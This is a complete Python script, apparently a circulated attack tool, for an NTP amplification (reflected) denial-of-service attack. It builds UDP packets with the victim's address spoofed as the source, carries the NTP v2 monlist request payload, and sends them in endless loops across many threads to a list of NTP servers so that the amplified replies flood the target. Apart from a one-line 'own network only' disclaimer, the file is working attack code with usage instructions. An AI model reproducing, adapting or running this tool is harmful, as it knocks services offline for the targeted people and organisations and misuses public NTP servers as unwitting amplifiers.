NTP DRDoS Py

#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
import random   # For Random source port
#NTP Amp DOS attack
#by DaRkReD
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY

# Random source port added by JDMoore0883

#packet sender
def deny():
    #Import globals to function
    global ntplist
    global currentserver
    global data
    global target
    ntpserver = ntplist[currentserver] #Get new server
    currentserver = currentserver + 1 #Increment for next
    packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data) #BUILD IT
    send(packet,loop=1) #SEND IT

#So I dont have to have the same stuff twice
def printhelp():
    print "NTP Amplification DOS Attack"
    print "By DaRkReD"
    print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
    print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
    print "NTP serverlist file should contain one IP per line"
    print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
    exit(0)

if len(sys.argv) < 4:
    printhelp()
#Fetch Args
target = sys.argv[1]

#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
    printhelp()

ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
    ntplist = f.readlines()

#Make sure we dont out of bounds
if  numberthreads > int(len(ntplist)):
    print "Attack Aborted: More threads than servers"
    print "Next time dont create more threads than servers"
    exit(0)

#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4

#Hold our threads
threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"

#Thread spawner
for n in range(numberthreads):
    thread = threading.Thread(target=deny)
    thread.daemon = True
    thread.start()

    threads.append(thread)

#In progress!
print "Sending..."

#Keep alive so ctrl+c still kills all them threads
while True:
    time.sleep(1)